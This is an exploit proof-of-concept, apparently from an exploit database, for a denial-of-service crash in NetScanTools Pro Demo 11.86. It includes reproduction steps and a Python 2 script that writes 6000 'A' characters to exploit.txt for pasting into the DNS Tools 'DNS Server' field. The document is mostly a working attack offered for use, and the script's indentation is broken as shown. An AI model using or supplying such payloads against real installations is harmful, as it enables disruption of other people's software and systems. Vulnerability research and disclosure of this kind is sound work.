# Exploit Title: NetScanTools Pro Demo 11.86 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-11
# Homepage: https://www.netscantools.com/
# Software Link: https://www.netscantools.com/download.html
# Tested Version: 11.86
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".
# Now start the program. Now when you are inside of the program click "DNS Tools" > "DNS Tools - Advanced". In the field: "DNS Server" paste the copied content from "exploit.txt".
# Now click "DNS Verify" and see a crash!
#!/usr/bin/python
buffer = "A" * 6000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
